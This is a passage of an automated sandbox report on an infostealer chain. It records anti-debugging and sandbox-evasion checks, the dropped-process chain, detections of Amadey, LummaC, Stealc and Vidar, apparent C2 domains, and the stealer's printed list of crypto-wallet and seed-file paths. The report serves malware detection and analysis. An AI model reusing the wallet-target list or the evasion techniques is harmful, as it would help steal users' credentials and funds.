Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000018.00000002.2800173278.0000000000EA9000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.3474365414.0000000000EA9000.00000040.00000001.01000000.0000000E.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3474129755.0000000000AAD000.00000040.00000001.01000000.0000000F.sdmp, c41846ccfb.exe, 0000001E.00000002.3472795889.0000000000862000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: DHDAFBFC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: DHDAFBFC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: DHDAFBFC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: DHDAFBFC.0.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: DHDAFBFC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: DHDAFBFC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: DHDAFBFC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2723107847.0000000000F44000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3476941425.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3476941425.000000000122B000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3404788907.0000000000EB4000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3426971149.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000E96000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3477158481.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2723107847.0000000000F44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW"S
Source: file.exe, 00000000.00000002.2723107847.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: DHDAFBFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: DHDAFBFC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: DHDAFBFC.0.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: DHDAFBFC.0.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 3cb3eea49a.exe, 0000001C.00000003.3446846427.00000000056A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: DHDAFBFC.0.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: DHDAFBFC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: DHDAFBFC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: DHDAFBFC.0.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: DHDAFBFC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: DHDAFBFC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: DHDAFBFC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 3cb3eea49a.exe, 0000001C.00000003.3445606581.0000000005645000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3445671558.000000000565F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: kyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arGVNjsQrU1hANJXXgrvFAvKP9iwWKe4wjrnFHs+Z6n
Source: DHDAFBFC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: DHDAFBFC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: DHDAFBFC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: DHDAFBFC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: DHDAFBFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2723107847.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DHDAFBFC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: DHDAFBFC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: DHDAFBFC.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: DHDAFBFC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: DHDAFBFC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: DHDAFBFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000000.00000002.2722154012.0000000000652000.00000040.00000001.01000000.00000003.sdmp, DocumentsGHIJJEGDBF.exe, 00000016.00000002.2762593427.0000000000859000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2802135497.0000000000EA9000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2800173278.0000000000EA9000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001A.00000002.3474365414.0000000000EA9000.00000040.00000001.01000000.0000000E.sdmp, 3cb3eea49a.exe, 0000001C.00000002.3474129755.0000000000AAD000.00000040.00000001.01000000.0000000F.sdmp, c41846ccfb.exe, 0000001E.00000002.3472795889.0000000000862000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: DHDAFBFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: DHDAFBFC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsGHIJJEGDBF.exe

Code function: 22_2_04D4022F rdtsc

22_2_04D4022F

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB45FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CB45FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CAE3480

Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_006A652B mov eax, dword ptr fs:[00000030h]	22_2_006A652B
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_006AA302 mov eax, dword ptr fs:[00000030h]	22_2_006AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CFA302 mov eax, dword ptr fs:[00000030h]	23_2_00CFA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CF652B mov eax, dword ptr fs:[00000030h]	23_2_00CF652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00CFA302 mov eax, dword ptr fs:[00000030h]	24_2_00CFA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00CF652B mov eax, dword ptr fs:[00000030h]	24_2_00CF652B

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CB1B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CB1B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCCAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CCCAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 2100, type: MEMORYSTR

Detected PureCrypter Trojan

Source: 3cb3eea49a.exe, 0000001C.00000003.3451221963.0000000005650000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1085156-1-3,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-63,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,domexpansion_v1:408272,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"130.0.0.0"}]},"EdgeShoppingDomMutationExpansion":{"enableFeatures":["msShoppingExp67"]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearc

LummaC encrypted strings found

Source: 3cb3eea49a.exe, 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: faintbl0w.sbs
Source: 3cb3eea49a.exe, 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 300snails.sbs
Source: 3cb3eea49a.exe, 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 3xc1aimbl0w.sbs
Source: 3cb3eea49a.exe, 0000001C.00000002.3472970930.00000000008D1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: thicktoys.sbs

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsGHIJJEGDBF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsGHIJJEGDBF.exe "C:\Users\user\DocumentsGHIJJEGDBF.exe"
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe "C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe "C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CD14760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CD14760

Source: file.exe, file.exe, 00000000.00000002.2722154012.0000000000652000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB1B341 cpuid

0_2_6CB1B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAE35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CAE35A0

Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 22.2.DocumentsGHIJJEGDBF.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.skotes.exe.cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.cc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2800944495.0000000000CC1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2761674781.0000000000671000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.3473161997.0000000000CC1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2799229558.0000000000CC1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 28.2.3cb3eea49a.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 3cb3eea49a.exe PID: 7144, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2232961583.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2723107847.0000000000EE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2721838299.0000000000281000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2100, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2100, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2723107847.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2721838299.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2723107847.0000000000EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local 